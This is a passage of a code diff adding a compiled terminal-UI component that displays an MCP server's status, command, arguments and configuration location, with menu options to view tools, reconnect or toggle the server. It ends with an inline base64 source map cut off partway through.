+  // Only show "View tools" if server is not disabled and has tools
+  if (server.client.type !== 'disabled' && serverToolsCount > 0) {
+    menuOptions.push({
+      label: 'View tools',
+      value: 'tools'
+    });
+  }
+
+  // Only show reconnect option if the server is not disabled
+  if (server.client.type !== 'disabled') {
+    menuOptions.push({
+      label: 'Reconnect',
+      value: 'reconnectMcpServer'
+    });
+  }
+  menuOptions.push({
+    label: server.client.type !== 'disabled' ? 'Disable' : 'Enable',
+    value: 'toggle-enabled'
+  });
+
+  // If there are no other options, add a back option so Select handles escape
+  if (menuOptions.length === 0) {
+    menuOptions.push({
+      label: 'Back',
+      value: 'back'
+    });
+  }
+  if (isReconnecting) {
+    return <Box flexDirection="column" gap={1} padding={1}>
+        <Text color="text">
+          Reconnecting to <Text bold>{server.name}</Text>
+        </Text>
+        <Box>
+          <Spinner />
+          <Text> Restarting MCP server process</Text>
+        </Box>
+        <Text dimColor>This may take a few moments.</Text>
+      </Box>;
+  }
+  return <Box flexDirection="column">
+      <Box flexDirection="column" paddingX={1} borderStyle={borderless ? undefined : 'round'}>
+        <Box marginBottom={1}>
+          <Text bold>{capitalizedServerName} MCP Server</Text>
+        </Box>
+
+        <Box flexDirection="column" gap={0}>
+          <Box>
+            <Text bold>Status: </Text>
+            {server.client.type === 'disabled' ? <Text>{color('inactive', theme)(figures.radioOff)} disabled</Text> : server.client.type === 'connected' ? <Text>{color('success', theme)(figures.tick)} connected</Text> : server.client.type === 'pending' ? <>
+                <Text dimColor>{figures.radioOff}</Text>
+                <Text> connecting…</Text>
+              </> : <Text>{color('error', theme)(figures.cross)} failed</Text>}
+          </Box>
+
+          <Box>
+            <Text bold>Command: </Text>
+            <Text dimColor>{server.config.command}</Text>
+          </Box>
+
+          {server.config.args && server.config.args.length > 0 && <Box>
+              <Text bold>Args: </Text>
+              <Text dimColor>{server.config.args.join(' ')}</Text>
+            </Box>}
+
+          <Box>
+            <Text bold>Config location: </Text>
+            <Text dimColor>
+              {describeMcpConfigFilePath(getMcpConfigByName(server.name)?.scope ?? 'dynamic')}
+            </Text>
+          </Box>
+
+          {server.client.type === 'connected' && <CapabilitiesSection serverToolsCount={serverToolsCount} serverPromptsCount={serverCommandsCount} serverResourcesCount={mcp.resources[server.name]?.length || 0} />}
+
+          {server.client.type === 'connected' && serverToolsCount > 0 && <Box>
+              <Text bold>Tools: </Text>
+              <Text dimColor>{serverToolsCount} tools</Text>
+            </Box>}
+        </Box>
+
+        {menuOptions.length > 0 && <Box marginTop={1}>
+            <Select options={menuOptions} onChange={async value => {
+          if (value === 'tools') {
+            onViewTools();
+          } else if (value === 'reconnectMcpServer') {
+            setIsReconnecting(true);
+            try {
+              const result = await reconnectMcpServer(server.name);
+              const {
+                message
+              } = handleReconnectResult(result, server.name);
+              onComplete?.(message);
+            } catch (err_0) {
+              onComplete?.(handleReconnectError(err_0, server.name));
+            } finally {
+              setIsReconnecting(false);
+            }
+          } else if (value === 'toggle-enabled') {
+            await handleToggleEnabled();
+          } else if (value === 'back') {
+            onCancel();
+          }
+        }} onCancel={onCancel} />
+          </Box>}
+      </Box>
+
+      <Box marginTop={1}>
+        <Text dimColor italic>
+          {exitState.pending ? <>Press {exitState.keyName} again to exit</> : <Byline>
+              <KeyboardShortcutHint shortcut="↑↓" action="navigate" />
+              <KeyboardShortcutHint shortcut="Enter" action="select" />
+              <ConfigurableShortcutHint action="confirm:no" context="Confirmation" fallback="Esc" description="back" />
+            </Byline>}
+        </Text>
+      </Box>
+    </Box>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmaWd1cmVzIiwiUmVhY3QiLCJ1c2VTdGF0ZSIsIkNvbW1hbmRSZXN1bHREaXNwbGF5IiwidXNlRXhpdE9uQ3RybENEV2l0aEtleWJpbmRpbmdzIiwiQm94IiwiY29sb3IiLCJUZXh0IiwidXNlVGhlbWUiLCJnZXRNY3BDb25maWdCeU5hbWUiLCJ1c2VNY3BSZWNvbm5lY3QiLCJ1c2VNY3BUb2dnbGVFbmFibGVkIiwiZGVzY3JpYmVNY3BDb25maWdGaWxlUGF0aCIsImZpbHRlck1jcFByb21wdHNCeVNlcnZlciIsInVzZUFwcFN0YXRlIiwiZXJyb3JNZXNzYWdlIiwiY2FwaXRhbGl6ZSIsIkNvbmZpZ3VyYWJsZVNob3J0Y3V0SGludCIsIlNlbGVjdCIsIkJ5bGluZSIsIktleWJvYXJkU2hvcnRjdXRIaW50IiwiU3Bpbm5lciIsIkNhcGFiaWxpdGllc1NlY3Rpb24iLCJTdGRpb1NlcnZlckluZm8iLCJoYW5kbGVSZWNvbm5lY3RFcnJvciIsImhhbmRsZVJlY29ubmVjdFJlc3VsdCIsIlByb3BzIiwic2VydmVyIiwic2VydmVyVG9vbHNDb3VudCIsIm9uVmlld1Rvb2xzIiwib25DYW5jZWwiLCJvbkNvbXBsZXRlIiwicmVzdWx0Iiwib3B0aW9ucyIsImRpc3BsYXkiLCJib3JkZXJsZXNzIiwiTUNQU3RkaW9TZXJ2ZXJNZW51IiwiUmVhY3ROb2RlIiwidGhlbWUiLCJleGl0U3RhdGUiLCJtY3AiLCJzIiwicmVjb25uZWN0TWNwU2VydmVyIiwidG9nZ2xlTWNwU2VydmVyIiwiaXNSZWNvbm5lY3RpbmciLCJzZXRJc1JlY29ubmVjdGluZyIsImhhbmRsZVRvZ2dsZUVuYWJsZWQiLCJ1c2VDYWxsYmFjayIsIndhc0VuYWJsZWQiLCJjbGllbnQiLCJ0eXBlIiwibmFtZSIsImVyciIsImFjdGlvbiIsImNhcGl0YWxpemVkU2VydmVyTmFtZSIsIlN0cmluZyIsInNlcnZlckNvbW1hbmRzQ291bnQiLCJjb21tYW5kcyIsImxlbmd0aCIsIm1lbnVPcHRpb25zIiwicHVzaCIsImxhYmVsIiwidmFsdWUiLCJ1bmRlZmluZWQiLCJyYWRpb09mZiIsInRpY2siLCJjcm9zcyIsImNvbmZpZyIsImNvbW1hbmQiLCJhcmdzIiwiam9pbiIsInNjb3BlIiwicmVzb3VyY2VzIiwibWVzc2FnZSIsInBlbmRpbmciLCJrZXlOYW1lIl0sInNvdXJjZXMiOlsiTUNQU3RkaW9TZXJ2ZXJNZW51LnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgZmlndXJlcyBmcm9tICdmaWd1cmVzJ1xuaW1wb3J0IFJlYWN0LCB7IHVzZVN0YXRlIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgdHlwZSB7IENvbW1hbmRSZXN1bHREaXNwbGF5IH0gZnJvbSAnLi4vLi4vY29tbWFuZHMuanMnXG5pbXBvcnQgeyB1c2VFeGl0T25DdHJsQ0RXaXRoS2V5YmluZGluZ3MgfSBmcm9tICcuLi8uLi9ob29rcy91c2VFeGl0T25DdHJsQ0RXaXRoS2V5YmluZGluZ3MuanMnXG5pbXBvcnQgeyBCb3gsIGNvbG9yLCBUZXh0LCB1c2VUaGVtZSB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB7IGdldE1jcENvbmZpZ0J5TmFtZSB9IGZyb20gJy4uLy4uL3NlcnZpY2VzL21jcC9jb25maWcuanMnXG5pbXBvcnQge1xuICB1c2VNY3BSZWNvbm5lY3QsXG4gIHVzZU1jcFRvZ2dsZUVuYWJsZWQsXG59IGZyb20gJy4uLy4uL3NlcnZpY2VzL21jcC9NQ1BDb25uZWN0aW9uTWFuYWdlci5qcydcbmltcG9ydCB7XG4gIGRlc2NyaWJlTWNwQ29uZmlnRmlsZVBhdGgsXG4gIGZpbHRlck1jcFByb21wdHNCeVNlcnZlcixcbn0gZnJvbSAnLi4vLi4vc2VydmljZXMvbWNwL3V0aWxzLmpzJ1xuaW1wb3J0IHsgdXNlQXBwU3RhdGUgfSBmcm9tICcuLi8uLi9zdGF0ZS9BcHBTdGF0ZS5qcydcbmltcG9ydCB7IGVycm9yTWVzc2FnZSB9IGZyb20gJy4uLy4uL3V0aWxzL2Vycm9ycy5qcydcbmltcG9ydCB7IGNhcGl0YWxpemUgfSBmcm9tICcuLi8uLi91dGlscy9zdHJpbmdVdGlscy5qcydcbmltcG9ydCB7IENvbmZpZ3VyYWJsZVNob3J0Y3V0SGludCB9IGZyb20gJy4uL0NvbmZpZ3VyYWJsZVNob3J0Y3V0SGludC5qcydcbmltcG9ydCB7IFNlbGVjdCB9IGZyb20gJy4uL0N1c3RvbVNlbGVjdC9pbmRleC5qcydcbmltcG9ydCB7IEJ5bGluZSB9IGZyb20gJy4uL2Rlc2lnbi1zeXN0ZW0vQnlsaW5lLmpzJ1xuaW1wb3J0IHsgS2V5Ym9hcmRTaG9ydGN1dEhpbnQgfSBmcm9tICcuLi9kZXNpZ24tc3lzdGVtL0tleWJvYXJkU2hvcnRjdXRIaW50LmpzJ1xuaW1wb3J0IHsgU3Bpbm5lciB9IGZyb20gJy4uL1NwaW5uZXIuanMnXG5pbXBvcnQgeyBDYXBhYmlsaXRpZXNTZWN0aW9uIH0gZnJvbSAnLi9DYXBhYmlsaXRpZXNTZWN0aW9uLmpzJ1xuaW1wb3J0IHR5cGUgeyBTdGRpb1NlcnZlckluZm8gfSBmcm9tICcuL3R5cGVzLmpzJ1xuaW1wb3J0IHtcbiAgaGFuZGxlUmVjb25uZWN0RXJyb3IsXG4gIGhhbmRsZVJlY29ubmVjdFJlc3VsdCxcbn0gZnJvbSAnLi91dGlscy9yZWNvbm5lY3RIZWxwZXJzLmpzJ1xuXG50eXBlIFByb3BzID0ge1xuICBzZXJ2ZXI6IFN0ZGlvU2VydmVySW5mb1xuICBzZXJ2ZXJUb29sc0NvdW50OiBudW1iZXJcbiAgb25WaWV3VG9vbHM6ICgpID0+IHZvaWRcbiAgb25DYW5jZWw6ICgpID0+IHZvaWRcbiAgb25Db21wbGV0ZTogKFxuICAgIHJlc3VsdD86IHN0cmluZyxcbiAgICBvcHRpb25zPzogeyBkaXNwbGF5PzogQ29tbWFuZFJlc3VsdERpc3BsYXkgfSxcbiAgKSA9PiB2b2lkXG4gIGJvcmRlcmxlc3M/OiBib29sZWFuXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBNQ1BTdGRpb1NlcnZlck1lbnUoe1xuICBzZXJ2ZXIsXG4gIHNlcnZlclRvb2xzQ291bnQsXG4gIG9uVmlld1Rvb2xzLFxuICBvbkNhbmNlbCxcbiAgb25Db21wbGV0ZSxcbiAgYm9yZGVybGVzcyA9IGZhbHNlLFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBbdGhlbWVdID0gdXNlVGhlbWUoKVxuICBjb25zdCBleGl0U3RhdGUgPSB1c2VFeGl0T25DdHJsQ0RXaXRoS2V5YmluZGluZ3MoKVxuICBjb25zdCBtY3AgPSB1c2VBcHBTdGF0ZShzID0+IHMubWNwKVxuICBjb25zdCByZWNvbm5lY3RNY3BTZXJ2ZXIgPSB1c2VNY3BSZWNvbm5lY3QoKVxuICBjb25zdCB0b2dnbGVNY3BTZXJ2ZXIgPSB1c2VNY3BUb2dnbGVFbmFibGVkKClcbiAgY29uc3QgW2lzUmVjb25uZWN0aW5nLCBzZXRJc1JlY29ubmVjdGluZ10gPSB1c2VTdGF0ZShmYWxzZSlcblxuICBjb25zdCBoYW5kbGVUb2dnbGVFbmFibGVkID0gUmVhY3QudXNlQ2FsbGJhY2soYXN5bmMgKCkgPT4ge1xuICAgIGNvbnN0IHdhc0VuYWJsZWQgPSBzZXJ2ZXIuY2xpZW50LnR5cGUgIT09ICdkaXNhYmxlZCdcblxuICAgIHRyeSB7XG4gICAgICBhd2FpdCB0b2dnbGVNY3BTZXJ2ZXIoc2VydmVyLm5hbWUpXG4gICAgICAvLyBSZXR1cm4gdG8gdGhlIHNlcnZlciBsaXN0IHNvIHVzZXIgY2FuIGNvbnRpbnVlIG1hbmFnaW5nIG90aGVyIHNlcnZlcnNcbiAgICAgIG9uQ2FuY2VsKClcbiAgICB9IGNhdGNoIChlcnIpIHtcbiAgICAgIGNvbnN0IGFjdGlvbiA9IHdhc0VuYWJsZWQgPyAnZGlzYWJsZScgOiAnZW5hYmxlJ1xuICAgICAgb25Db21wbGV0ZShcbiAgICAgICAgYEZhaWxlZCB0byAke2FjdGlvbn0gTUNQIHNlcnZlciAnJHtzZXJ2ZXIubmFtZX0nOiAke2Vycm9yTWVzc2FnZShlcnIpfWAsXG4gICAgICApXG4gICAgfVxuICB9LCBbc2VydmVyLmNsaWVudC50eXBlLCBzZXJ2ZXIubmFtZSwgdG9nZ2xlTWNwU2VydmVyLCBvbkNhbmNlbCwgb25Db21wbGV0ZV0pXG5cbiAgY29uc3QgY2FwaXRhbGl6ZWRTZXJ2ZXJOYW1lID0gY2FwaXRhbGl6ZShTdHJpbmcoc2VydmVyLm5hbWUpKVxuXG4gIC8vIENvdW50IE1DUCBwcm9tcHRzIGZvciB0aGlzIHNlcnZlciAoc2tpbGxzIGFyZSBzaG93biBpbiAvc2tpbGxzLCBub3QgaGVyZSlcbiAgY29uc3Qgc2VydmVyQ29tbWFuZHNDb3VudCA9IGZpbHRlck1jcFByb21wdHNCeVNlcnZlcihcbiAgICBtY3AuY29tbWFuZHMsXG4gICAgc2VydmVyLm5hbWUsXG4gICkubGVuZ3RoXG5cbiAgY29uc3QgbWVudU9wdGlvbnMgPSBbXVxuXG4gIC8vIE9ubHkgc2hvdyBcIlZpZXcgdG9vbHNcIiBpZiBzZXJ2ZXIgaXMgbm90IGRpc2FibGVkIGFuZCBoYXMgdG9vbHNcbiAgaWYgKHNlcnZlci5jbGllbnQudHlwZSAhPT0gJ2Rpc2FibGVkJyAmJiBzZXJ2ZXJUb29sc0NvdW50ID4gMCkge1xuICAgIG1lbnVPcHRpb25zLnB1c2goe1xuICAgICAgbGFiZWw6ICdWaWV3IHRvb2xzJyxcbiAgICAgIHZhbHVlOiAndG9vbHMnLFxuICAgIH0pXG4gIH1cblxuICAvLyBPbmx5IHNob3cgcmVjb25uZWN0IG9wdGlvbiBpZiB0aGUgc2VydmVyIGlzIG5vdCBkaXNhYmxlZFxuICBpZiAoc2VydmVyLmNsaWVudC50eXBlICE9PSAnZGlzYWJsZWQnKSB7XG4gICAgbWVudU9wdGlvbnMucHVzaCh7XG4gICAgICBsYWJlbDogJ1JlY29ubmVjdCcsXG4gICAgICB2YWx1ZTogJ3JlY29ubmVjdE1jcFNlcnZlcicsXG4gICAgfSlcbiAgfVxuXG4gIG1lbnVPcHRpb25zLnB1c2goe1xuICAgIGxhYmVsOiBzZXJ2ZXIuY2xpZW50LnR5cGUgIT09ICdkaXNhYmxlZCcgPyAnRGlzYWJsZScgOiAnRW5hYmxlJyxcbiAgICB2YWx1ZTogJ3RvZ2dsZS1lbmFibGVkJyxcbiAgfSlcblxuICAvLyBJZiB0aGVyZSBhcmUgbm8gb3RoZXIgb3B0aW9ucywgYWRkIGEgYmFjayBvcHRpb24gc28gU2VsZWN0IGhhbmRsZXMgZXNjYXBlXG4gIGlmIChtZW51T3B0aW9ucy5sZW5ndGggPT09IDApIHtcbiAgICBtZW51T3B0aW9ucy5wdXNoKHtcbiAgICAgIGxhYmVsOiAnQmFjaycsXG4gICAgICB2YWx1ZTogJ2JhY2snLFxuICAgIH0pXG4gIH1cblxuICBpZiAoaXNSZWNvbm5lY3RpbmcpIHtcbiAgICByZXR1cm4gKFxuICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgZ2FwPXsxfSBwYWRkaW5nPXsxfT5cbiAgICAgICAgPFRleHQgY29sb3I9XCJ0ZXh0XCI+XG4gICAgICAgICAgUmVjb25uZWN0aW5nIHRvIDxUZXh0IGJvbGQ+e3NlcnZlci5uYW1lfTwvVGV4dD5cbiAgICAgICAgPC9UZXh0PlxuICAgICAgICA8Qm94PlxuICAgICAgICAgIDxTcGlubmVyIC8+XG4gICAgICAgICAgPFRleHQ+IFJlc3RhcnRpbmcgTUNQIHNlcnZlciBwcm9jZXNzPC9UZXh0PlxuICAgICAgICA8L0JveD5cbiAgICAgICAgPFRleHQgZGltQ29sb3I+VGhpcyBtYXkgdGFrZSBhIGZldyBtb21lbnRzLjwvVGV4dD5cbiAgICAgIDwvQm94PlxuICAgIClcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCI+XG4gICAgICA8Qm94XG4gICAgICAgIGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIlxuICAgICAgICBwYWRkaW5nWD17MX1cbiAgICAgICAgYm9yZGVyU3R5bGU9e2JvcmRlcmxlc3MgPyB1bmRlZmluZWQgOiAncm91bmQnfVxuICAgICAgPlxuICAgICAgICA8Qm94IG1hcmdpbkJvdHRvbT17MX0+XG4gICAgICAgICAgPFRleHQgYm9sZD57Y2FwaXRhbGl6ZWRTZXJ2ZXJOYW1lfSBNQ1AgU2VydmVyPC9UZXh0PlxuICAgICAgICA8L0JveD5cblxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBnYXA9ezB9PlxuICAgICAgICAgIDxCb3g+XG4gICAgICAgICAgICA8VGV4dCBib2xkPlN0YXR1czogPC9UZXh0PlxuICAgICAgICAgICAge3NlcnZlci5jbGllbnQudHlwZSA9PT0gJ2Rpc2FibGVkJyA/IChcbiAgICAgICAgICAgICAgPFRleHQ+e2NvbG9yKCdpbmFjdGl2ZScsIHRoZW1lKShmaWd1cmVzLnJhZGlvT2ZmKX0gZGlzYWJsZWQ8L1RleHQ+XG4gICAgICAgICAgICApIDogc2VydmVyLmNsaWVudC50eXBlID09PSAnY29ubmVjdGVkJyA/IChcbiAgICAgICAgICAgICAgPFRleHQ+e2NvbG9yKCdzdWNjZXNzJywgdGhlbWUpKGZpZ3VyZXMudGljayl9IGNvbm5lY3RlZDwvVGV4dD5cbiAgICAgICAgICAgICkgOiBzZXJ2ZXIuY2xpZW50LnR5cGUgPT09ICdwZW5kaW5nJyA/IChcbiAgICAgICAgICAgICAgPD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj57ZmlndXJlcy5yYWRpb09mZn08L1RleHQ+XG4gICAgICAgICAgICAgICAgPFRleHQ+IGNvbm5lY3RpbmfigKY8L1RleHQ+XG4gICAgICAgICAgICAgIDwvPlxuICAgICAgICAgICAgKSA6IChcbiAgICAgICAgICAgICAgPFRleHQ+e2NvbG9yKCdlcnJvcicsIHRoZW1lKShmaWd1cmVzLmNyb3NzKX0gZmFpbGVkPC9UZXh0PlxuICAgICAgICAgICAgKX1cbiAgICAgICAgICA8L0JveD5cblxuICAgICAgICAgIDxCb3g+XG4gICAgICAgICAgICA8VGV4dCBib2xkPkNvbW1hbmQ6IDwvVGV4dD5cbiAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPntzZXJ2ZXIuY29uZmlnLmNvbW1hbmR9PC9UZXh0PlxuICAgICAgICAgIDwvQm94PlxuXG4gICAgICAgICAge3NlcnZlci5jb25maWcuYXJncyAmJiBzZXJ2ZXIuY29uZmlnLmFyZ3MubGVuZ3RoID4gMCAmJiAoXG4gICAgICAgICAgICA8Qm94PlxuICAgICAgICAgICAgICA8VGV4dCBib2xkPkFyZ3M6IDwvVGV4dD5cbiAgICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+e3NlcnZlci5jb25maWcuYXJncy5qb2luKCcgJyl9PC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKX1cblxuICAgICAgICAgIDxCb3g+XG4gICAgICAgICAgICA8VGV4dCBib2xkPkNvbmZpZyBsb2NhdGlvbjogPC9UZXh0PlxuICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICAgIHtkZXNjcmliZU1jcENvbmZpZ0ZpbGVQYXRoKFxuICAgICAgICAgICAgICAgIGdldE1jcENvbmZpZ0J5TmFtZShzZXJ2ZXIubmFtZSk/LnNjb3BlID8/ICdkeW5hbWljJyxcbiAgICAgICAgICAgICAgKX1cbiAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICA8L0JveD5cblxuICAgICAgICAgIHtzZXJ2ZXIuY2xpZW50LnR5cGUgPT09ICdjb25uZWN0ZWQnICYmIChcbiAgICAgICAgICAgIDxDYXBhYmlsaXRpZXNTZWN0aW9uXG4gICAgICAgICAgICAgIHNlcnZlclRvb2xzQ291bnQ9e3NlcnZlclRvb2xzQ291bnR9XG4gICAgICAgICAgICAgIHNlcnZlclByb21wdHNDb3VudD17c2VydmVyQ29tbWFuZHNDb3VudH1cbiAgICAgICAgICAgICAgc2VydmVyUmVzb3VyY2VzQ291bnQ9e21jcC5yZXNvdXJjZXNbc2VydmVyLm5hbWVdPy5sZW5ndGggfHwgMH1cbiAgICAgICAgICAgIC8+XG4gICAgICAgICAgKX1cblxuICAgICAgICAgIHtzZXJ2ZXIuY2xpZW50LnR5cGUgPT09ICdjb25uZWN0ZWQnICYmIHNlcnZlclRvb2xzQ291bnQgPiAwICYmIChcbiAgICAgICAgICAgIDxCb3g+XG4gICAgICAgICAgICAgIDxUZXh0IGJvbGQ+VG9vbHM6IDwvVGV4dD5cbiAgICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+e3NlcnZlclRvb2xzQ291bnR9IHRvb2xzPC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKX1cbiAgICAgICAgPC9Cb3g+XG5cbiAgICAgICAge21lbnVPcHRpb25zLmxlbmd0aCA+IDAgJiYgKFxuICAgICAgICAgIDxCb3ggbWFyZ2luVG9wPXsxfT5cbiAgICAgICAgICAgIDxTZWxlY3RcbiAgICAgICAgICAgICAgb3B0aW9ucz17bWVudU9wdGlvbnN9XG4gICAgICAgICAgICAgIG9uQ2hhbmdlPXthc3luYyB2YWx1ZSA9PiB7XG4gICAgICAgICAgICAgICAgaWYgKHZhbHVlID09PSAndG9vbHMnKSB7XG4gICAgICAgICAgICAgICAgICBvblZpZXdUb29scygpXG4gICAgICAgICAgICAgICAgfSBlbHNlIGlmICh2YWx1ZSA9PT0gJ3JlY29ubmVjdE1jcFNlcnZlcicpIHtcbiAgICAgICAgICAgICAgICAgIHNldElzUmVjb25uZWN0aW5nKHRydWUpXG4gICAgICAgICAgICAgICAgICB0cnkge1xuICAgICAgICAgICAgICAgICAgICBjb25zdCByZXN1bHQgPSBhd2FpdCByZWNvbm5lY3RNY3BTZXJ2ZXIoc2VydmVyLm5hbWUpXG4gICAgICAgICAgICAgICAgICAgIGNvbnN0IHsgbWVzc2FnZSB9ID0gaGFuZGxlUmVjb25uZWN0UmVzdWx0KFxuICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdCxcbiAgICAgICAgICAgICAgICAgICAgICBzZXJ2ZXIubmFtZSxcbiAgICAgICAgICAgICAgICAgICAgKVxuICAgICAgICAgICAgICAgICAgICBvbkNvbXBsZXRlPy4obWVzc2FnZSlcbiAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycikge1xuICAgICAgICAgICAgICAgICAgICBvbkNvbXBsZXRlPy4oaGFuZGxlUmVjb25uZWN0RXJyb3IoZXJyLCBzZXJ2ZXIubmFtZSkpXG4gICAgICAgICAgICAgICAgICB9IGZpbmFsbHkge1xuICAgICAgICAgICAgICAgICAgICBzZXRJc1JlY29ubmVjdGluZyhmYWxzZSlcbiAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHZhbHVlID09PSAndG9nZ2xlLWVuYWJsZWQnKSB7XG4gICAgICAgICAgICAgICAgICBhd2FpdCBoYW5kbGVUb2dnbGVFbmFibGVkKClcbiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHZhbHVlID09PSAnYmFjaycpIHtcbiAgICAgICAgICAgICAgICAgIG9uQ2FuY2VsKClcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgIH19XG4gICAgICAgICAgICAgIG9uQ2FuY2VsPXtvbkNhbmNlbH1cbiAgICAgICAgICAgIC8+XG4gICAgICAgICAgPC9Cb3g+XG4gICAgICAgICl9XG4gICAgICA8L0JveD5cblxuICAgICAgPEJveCBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvciBpdGFsaWM+XG4gICAgICAgICAge2V4aXRTdGF0ZS5wZW5kaW5nID8gKFxuICAgICAgICAgICAgPD5QcmVzcyB7ZXhpdFN0YXRlLmtleU5hbWV9IGFnYWluIHRvIGV4aXQ8Lz5cbiAgICAgICAgICApIDogKFxuICAgICAgICAgICAgPEJ5bGluZT5cbiAgICAgICAgICAgICAgPEtleWJvYXJkU2hvcnRjdXRIaW50IHNob3J0Y3V0PVwi4oaR4oaTXCIgYWN0aW9uPVwibmF2aWdhdGVcIiAvPlxuICAgICAgICAgICAgICA8S2V5Ym9hcmRTaG9ydGN1dEhpbnQgc2hvcnRjdXQ9XCJFbnRlclwiIGFjdGlvbj1cInNlbGVjdFwiIC8+XG4gICAgICAgICAgICAgIDxDb25maWd1cmFibGVTaG9ydGN1dEhpbnRcbiAgICAgICAgICAgICAgICBhY3Rpb249XCJjb25maXJtOm5vXCJcbiAgICAgICAgICAgICAgICBjb250ZXh0PVwiQ29uZmlybWF0aW9uXCJcbiAgICAgICAgICAgICAgICBmYWxsYmFjaz1cIkVzY1wiXG4gICAgICAgICAgICAgICAgZGVzY3JpcHRpb249XCJiYWNrXCJcbiAgICAgICAgICAgICAgLz5cbiAgICAgICAgICAgIDwvQnlsaW5lPlxuICAgICAgICAgICl9XG4g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